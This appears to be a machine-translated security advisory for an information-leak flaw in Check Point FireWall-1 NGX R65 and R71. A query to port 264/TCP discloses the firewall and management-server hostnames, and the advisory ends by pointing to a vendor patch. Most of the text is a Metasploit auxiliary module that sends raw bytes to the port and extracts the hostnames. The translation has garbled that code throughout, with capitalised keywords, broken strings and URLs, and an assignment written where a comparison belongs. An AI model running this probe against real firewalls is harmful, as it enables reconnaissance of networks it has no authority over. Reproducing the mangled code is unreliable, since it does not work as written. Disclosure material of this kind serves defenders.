Multiple Check Point firewall product information leakage Vulnerability

Release date: 2012-03-12
Updated on: 2012-03-14

Affected Systems:
Check Point Software FireWall-1 NGX R71
Check Point Software FireWall-1 NGX R65
Description:
--------------------------------------------------------------------------------
Bugtraq id: 52430

Check Point Software Technology Co., Ltd. was founded in 1993 and is headquartered in Redwood City, California. It is the world's leading Internet security solution provider, it is a leader in the global enterprise firewall, Personal Firewall and virtual private network (VPN) market.

Check Point Multiple Endpoint Security Products in the implementation of information leakage vulnerability, by sending some queries to the CheckPoint Firewall-1 on port 264/TCP, will display the host name. Attackers can exploit this vulnerability to obtain sensitive information.

<* Source: Patrick Webster (pwebster@ausgeo.com.au)
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Patrick Webster (pwebster@ausgeo.com.au) provides the following test methods:

##
# This file is part of the Metasploit Framework and may be subject
# Redistribution and specified cial restrictions. Please see the Metasploit
# Web site for more information on licensing and terms of use.
# Http://metasploit.com/
##

Require 'msf/core'

Class Metasploit3 <Msf: aupoliciary

Include Msf: Exploit: Remote: Tcp

Def initialize (info = {})
Super (update_info (info,
'Name' => 'checkpoint Firewall-1 SecuRemote Topology Service Hostname Disclosure ',
'Description' => % q {
This module sends a query to the port 264/TCP on CheckPoint Firewall-1
Firewallto obtain the firewall name and management station
(Such as SmartCenter) name via a pre-authentication topology request.
Note that the SecuriTeam reference listed here is not the same vulnerabilty, but it
Does discuthe same protocol and is somewhat related to this information
Disclosure.
},
'Author' => ['Patrick '],
'Disclosuredate' => 'dec 14 123', # Looks like this module is first real reference
'References '=>
[
# Patrickw-None? Stumbled upload SS, probably an old bug/feature but unsure.
['Url', 'HTTP: // www.osisecurity.com. au/advisories/'], # Advisory coming soon, placeholder
['Url', 'HTTP: // www.securiteam.com/securitynews/5HP0D2A4UC.html'] # Related-ish
]
))

Register_options (
[
Opt: RPORT (264 ),
], Self. class)
End

Def autofilter
False
End

Def run
Print_status ("Attempting to contact Checkpoint FW1 SecuRemote Topology service ...")
Fw_hostname = nil
SC _hostname = nil

Connect

Sock. put ("\ x51 \ x00 \ x00 \ x00 ")
Sock. put ("\ x00 \ x00 \ x00 \ x21 ")
Res = sock. get_once (4)
If (res = "Y \ x00 \ x00 \ x00 ")
Print_good ("Appears to be a CheckPoint Firewall ...")
Sock. put ("\ x00 \ x00 \ x00 \ x0bsecuremote \ x00 ")
Res = sock. get_once
If (res = ~ /CN = (. +), O = (. +) \./I)
Fw_hostname = $1
SC _hostname = $2
Print_good ("Firewall Host: # {fw_hostname }")
Print_good ("SmartCenter Host: # {SC _hostname }")
End
Else
Print_error ("Unexpected response: '# {res. inspect }'")
End

Report_info (fw_hostname, SC _hostname)

Disconnect
End

# Only trust that it's real if we have a hostname. If you get a funny
# Response, it might not be what we think it is.
Def report_info (fw_hostname, SC _hostname)
Return unless fw_hostname
Host_info = {
: Host => datastore ['rhost'],
: OS _name => "checkpoints Firewall-1 ",
: Purpose => "firewall"
}
Host_info [: name] = fw_hostname
Host_info [: info] = "SmartCenter Host: # {SC _hostname}" if SC _hostname
Report_host (host_info)
Svc_info = {
: Host => datastore ['rhost'],
: Port => datastore ['rport'],
: Proto => "tcp ",
: Name => "securemote"
}
Report_service (svc_info)
End

End

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Check Point Software
--------------------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.checkpoint.com